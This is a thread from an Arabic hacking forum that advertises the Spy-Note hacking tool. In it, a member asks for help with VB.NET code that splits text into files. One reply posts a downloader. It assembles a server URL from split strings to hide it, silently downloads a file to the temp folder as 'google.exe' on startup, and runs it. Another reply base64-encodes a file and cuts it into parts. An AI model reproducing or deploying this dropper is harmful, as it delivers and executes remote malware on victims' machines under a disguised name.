1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
  1. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    كان عندى مشكلة وهى تقسيم النص الى اجزاء وحفظها
    انا استعمل هذا الكود ولاكن به مشكلة فى التقسيم
    الكود


    كود:
       Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = TextBox1.Text
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 3
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
    
    









    ممكن حل





     
    جاري تحميل الصفحة...
  2. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
  3. A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    342
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    وعليكم السلام قصدك هذا الكود وضح طلبك


    كود:
    
    
    كود تقسيم الروابط
    
    
    
    
    
    
    Public Class Form1
        Dim h, s, o, n As String
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    'تستطيع اضافة دالة وتقسم الرابط الى 5 تقسيمات واكثر 
            h = ""
            s = ""
            o = ""
            n = ""
     
     
     
     
            Dim URL As String = h & s & o & n
            Dim DownloadTo As String = Environ("temp") & "\google.exe"
    re:
            Try
                Dim w As New Net.WebClient
                IO.File.WriteAllBytes(DownloadTo, w.DownloadData(URL))
                Process.Start(DownloadTo)
            Catch ex As Exception
                ' on Error you can retry
                ' Goto Re
            End Try
        End Sub
     
    End Class
     
  4. A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    342
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    اسف فهمت الموضوع غلط ضنيت اتريد تقسيم رابط السيرفر اتفضل هذا بلكي يفيدك​

    كود:
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
            Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text))
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 1
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
            MsgBox("Done !! ")
        End Sub
     
  5. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    اخى الكود به مشكلة فى التقسيم
    صورة
    [​IMG]


    انا كنت مخلى البرنامج يقسم النص دة ( minamazen123456789 )على 3 و زى ما انت شايف التقسيم خطاء









     
  6. A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    342
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    ي اخي فهمت الخطئ وعذرني لاني لست قوي بالبرمجة


    وانتضر الاخوة يساعدوك​
     
  7. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ
    rankrank
    Developer

    عضو منذ:
    ‏26 فبراير 2015
    عدد المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    تم الحل
     
  8. A-R
    Developer

    عضو منذ:
    ‏2 يوليو 2015
    عدد المشاركات:
    342
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    اي على الخير والحمد الله موفق​
     
  9. علاؤي هكر ألجنوب
    Developer

    عضو منذ:
    ‏15 ديسمبر 2015
    عدد المشاركات:
    88
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    الإقامة:
    العراق
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: مشكلة فى تقسيم النص

    [​IMG] احسنت [​IMG]
     

مشاركة هذه الصفحة

جاري تحميل الصفحة...